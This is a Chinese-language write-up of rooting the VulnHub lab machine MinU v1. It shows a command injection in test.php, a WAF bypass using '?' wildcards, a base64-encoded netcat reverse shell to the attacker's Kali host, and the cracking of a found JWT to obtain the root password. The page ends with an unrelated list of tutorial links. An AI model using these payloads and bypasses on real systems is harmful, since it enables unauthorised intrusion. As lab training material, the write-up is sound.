MinUv1靶机渗透
靶机下载地址:
- https://www.vulnhub.com/entry/minu-1,235/
环境:
-
192.168.1.159
-Kali Linux -
192.168.1.161
-靶机
先用 nmap
查看靶机开启什么服务
只有一个http服务,丢到爆破工具中扫描后台,得到 test.php
看链接以为是文件包含,试验了一下,都是403,估摸着是有waf拦截了,最后尝试了一下命令注入,发现可行
手工试了一些后,发现ls、cat这些命令无法正常执行,所以只能换个方法,在尝试的时候发现用通配符问号来代替的话,不会被waf拦截
-
http://192.168.1.161/test.php?file=|/b?n/c?t%20/e?c/?a??wd
从上面这一步可以知道这个waf的工作原理,所以我们只需要将敏感词部分用问号代替就可以绕过waf了
那么现在的问题是,如何通过这个命令注入让靶机执行反弹shell的命令
如果是直接 nc-e/bin/sh ip port
这种方式的话会被waf拦截,所以得想另外一种可执行命令的方法
后来就想到Linux管道符的特性
在Linux中,管道符左边的命令输出会作为管道符右边的命令的输入然后去执行,若存在多个则以此类推
举个例子
所以这里用base64的方式来传入执行的命令,然后在解码执行
明文:
/bin/echo "nc -e /bin/sh 192.168.1.159 4444" | /usr/bin/base64 | /bin/sh
base64编码后及过waf操作后:
/b?n/e??o bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjEuMTU5IDQ0NDQg|/?s?/b??/b??e64 -d|/b?n/sh
其中bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjEuMTU5IDQ0NDQg
的意思就是 nc-e/bin/sh192.168.1.1594444
随后我们得到了shell,转成tty先
python3 -c 'import pty; pty.spawn("/bin/bash")'
(注意是python3,不能直接python,神坑,这里是大佬 RJ45
指点了一番)
我们在 /home/bob/
目录下发现了一个隐藏文件 ._pw_
cat查看发现是一大串字符串
丢到百度上,匹配到了一个名为 JWT
的令牌
上官网(jwt.io)看介绍,发现这玩意是有一个私钥加密来的
于是乎,在github上面搜 jwt crack
我这里就用了第一个(https://github.com/brendan-rius/c-jwt-cracker)
按照说明配置好后,直接把api丢过去破解,一段时间后就出来了
得到密码为 mlnV1
,然后就可以直接切换到root用户了
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Android自定义View播放Gif动画的示例
- Android下拉框PopupWindow使用详解
- Android实现自动文本框提示功能
- Android开发实现拍照功能的方法实例解析
- Android开发实现模仿360二维码扫描功能实例详解
- Android中控制和禁止ScrollView自动滑动到底部的方法
- ImageView 实现Android colorPikcer 选择器的示例代码
- Android Notification.Builder通知案例分享
- SimpleCommand实现上传文件或视频功能(四)
- SimpleCommand框架ImageLoader API详解(三)
- Android PopupMenu弹出菜单的实现
- SimpleCommand实现图片下载(二)
- Android中menu使用详解
- SimpleCommand框架介绍以及简单使用(一)
- Android开发中使用achartengine绘制各种图表的方法